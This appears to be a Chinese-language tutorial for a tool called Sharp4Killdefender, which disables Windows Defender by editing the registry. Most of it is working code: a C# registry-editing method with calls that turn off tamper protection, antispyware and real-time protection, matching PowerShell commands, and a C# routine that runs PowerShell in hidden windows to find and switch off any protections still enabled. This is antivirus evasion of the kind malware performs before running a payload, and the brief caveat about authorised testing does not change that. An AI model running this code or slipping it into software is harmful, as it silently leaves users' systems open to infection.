Sharp4Killdefender:通过修改注册表关闭Windows Defender
字数 1756 2025-08-22 12:23:24
通过修改注册表关闭Windows Defender的详细指南
1. Windows Defender注册表项概述
Windows Defender作为Windows操作系统自带的防病毒软件,其功能可以通过修改注册表来配置或禁用。以下是关键注册表项及其功能:
1.1 篡改保护(TamperProtection)
- 注册表路径:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features - 键值:
TamperProtection1: 启用篡改保护0: 禁用篡改保护
1.2 防病毒功能(DisableAntiSpyware)
- 注册表路径:
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender - 键值:
DisableAntiSpyware1: 禁用Windows Defender防病毒功能0: 启用Windows Defender防病毒功能
1.3 行为监控(Behavior Monitoring)
- 注册表路径:
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection - 键值:
DisableBehaviorMonitoring1: 禁用行为监控0: 启用行为监控
1.4 访问保护(On-Access Protection)
- 注册表路径:
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection - 键值:
DisableOnAccessProtection1: 禁用访问保护0: 启用访问保护
1.5 实时扫描(Realtime Scanning)
- 注册表路径:
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection - 键值:
DisableScanOnRealtimeEnable1: 禁用实时扫描0: 启用实时扫描
2. 注册表修改方法
2.1 使用C#代码修改注册表
以下是一个完整的C#方法,用于修改或创建注册表键值:
private static void RegistryEdit(string regPath, string name, string value)
{
try
{
using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(regPath, RegistryKeyPermissionCheck.ReadWriteSubTree))
{
if (registryKey == null)
{
Registry.LocalMachine.CreateSubKey(regPath).SetValue(name, value, RegistryValueKind.DWord);
}
else if (registryKey.GetValue(name)?.ToString() != value)
{
registryKey.SetValue(name, value, RegistryValueKind.DWord);
}
}
}
catch { }
}
调用示例:
// 禁用篡改保护
RegistryEdit("SOFTWARE\\Microsoft\\Windows Defender\\Features", "TamperProtection", "0");
// 禁用防病毒功能
RegistryEdit("SOFTWARE\\Policies\\Microsoft\\Windows Defender", "DisableAntiSpyware", "1");
// 禁用行为监控
RegistryEdit("SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableBehaviorMonitoring", "1");
// 禁用访问保护
RegistryEdit("SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableOnAccessProtection", "1");
// 禁用实时扫描
RegistryEdit("SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableScanOnRealtimeEnable", "1");
2.2 使用PowerShell修改注册表
可以直接使用PowerShell命令修改注册表:
# 禁用篡改保护
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender\Features" -Name "TamperProtection" -Value 0
# 禁用防病毒功能
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 1
# 禁用行为监控
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableBehaviorMonitoring" -Value 1
# 禁用访问保护
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableOnAccessProtection" -Value 1
# 禁用实时扫描
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableScanOnRealtimeEnable" -Value 1
3. 验证Windows Defender配置
3.1 使用PowerShell获取Defender详细配置
Get-MpPreference -Verbose
此命令会输出Windows Defender的所有配置信息,包括实时保护、隔离设置、文件扫描等。
3.2 补充禁用功能
如果发现某些功能未被禁用,可以使用以下PowerShell命令进行补充禁用:
# 禁用实时监控
Set-MpPreference -DisableRealtimeMonitoring $true
# 禁用行为监控
Set-MpPreference -DisableBehaviorMonitoring $true
对应的C#实现:
private static void RunPS(string args)
{
new Process
{
StartInfo = new ProcessStartInfo
{
FileName = "powershell",
Arguments = args,
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true
}
}.Start();
}
// 检查并禁用未关闭的功能
using (Process process = new Process())
{
process.StartInfo.FileName = "powershell";
process.StartInfo.Arguments = "Get-MpPreference -Verbose";
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.UseShellExecute = false;
process.StartInfo.CreateNoWindow = true;
process.Start();
while (!process.StandardOutput.EndOfStream)
{
string text = process.StandardOutput.ReadLine();
if (text.StartsWith("DisableRealtimeMonitoring") && text.EndsWith("False"))
{
RunPS("Set-MpPreference -DisableRealtimeMonitoring $true");
}
else if (text.StartsWith("DisableBehaviorMonitoring") && text.EndsWith("False"))
{
RunPS("Set-MpPreference -DisableBehaviorMonitoring $true");
}
}
}
4. 注意事项
- 管理员权限: 所有注册表修改操作都需要管理员权限才能执行。
- 安全性影响: 禁用Windows Defender会使系统暴露在安全威胁中,仅在特定测试环境下使用。
- 恢复方法: 要恢复Windows Defender功能,只需将所有修改的键值改回
0或删除添加的注册表项。 - Windows版本差异: 不同版本的Windows可能略有差异,建议先在测试环境中验证。
- 防篡改保护: 在某些Windows版本中,可能需要先禁用篡改保护才能修改其他设置。
5. 完整流程总结
- 以管理员身份运行程序或PowerShell
- 禁用篡改保护(
TamperProtection) - 禁用防病毒核心功能(
DisableAntiSpyware) - 禁用实时保护相关功能(行为监控、访问保护、实时扫描)
- 验证配置(
Get-MpPreference -Verbose) - 补充禁用任何仍处于启用状态的关键功能
- 确认Windows Defender服务已停止
通过以上步骤,可以全面禁用Windows Defender的各项保护功能。请谨慎使用此技术,仅在合法授权的测试环境中应用。